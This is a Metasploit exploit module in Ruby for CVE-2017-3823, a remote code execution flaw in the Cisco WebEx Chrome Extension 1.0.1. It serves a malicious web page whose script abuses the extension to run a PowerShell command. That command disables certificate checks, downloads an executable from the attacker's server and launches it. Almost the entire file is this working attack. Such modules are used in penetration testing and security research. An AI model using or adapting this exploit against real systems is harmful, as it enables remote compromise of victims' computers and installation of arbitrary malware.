## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", 'Description' => %q{ This module exploits a vulnerability present in the Cisco WebEx Chrome Extension version 1.0.1 which allows an attacker to execute arbitrary commands on a system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy <taviso@google.com>', # Original research/PoC 'William Webb <william_webb[at]rapid7.com>' # Metasploit module ], 'Platform' => 'win', 'DefaultOptions' => { 'SSL' => true, }, 'Targets' => [ [ 'Cisco WebEx Extension 1.0.1', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'References' => [ [ 'CVE', '2017-3823' ], ], 'Arch' => ARCH_X86, 'DisclosureDate' => "Jan 21 2017", 'DefaultTarget' => 0 )) end def setup @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe" super end def exploit_html(cli, req_uri) base_uri = "#{get_resource.chomp('/')}" html = %Q~ <html> <head> <script> var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: "atgpcext", GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "http://127.0.0.1/", GpcComponentName: btoa("MSVCR100.DLL"), GpcSuppressInstallation: btoa("True"), GpcFullPage: "True", GpcInitCall: btoa("_wsystem(Ex1);"), Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"), } function runcode() { document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); document.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); } </script> </head> <body onload="runcode()"> </body> </html> ~ send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def on_request_uri(cli, request) print_status("Got request: #{request.uri}") print_status("From: #{request.headers['User-Agent']}") if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/ print_status("Sending exploit html ...") exploit_html(cli, request.uri) close_client(cli) return elsif request.uri =~ /.*#{@payload_uri}$/ return if ((payload = regenerate_payload(cli)) == nil) print_status("Sending payload ...") send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) else base_uri = "#{get_resource.chomp('/')}" html = %Q~ <html> <head> <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />" </head> <body> </body> </html> ~ send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) close_client(cli) end end end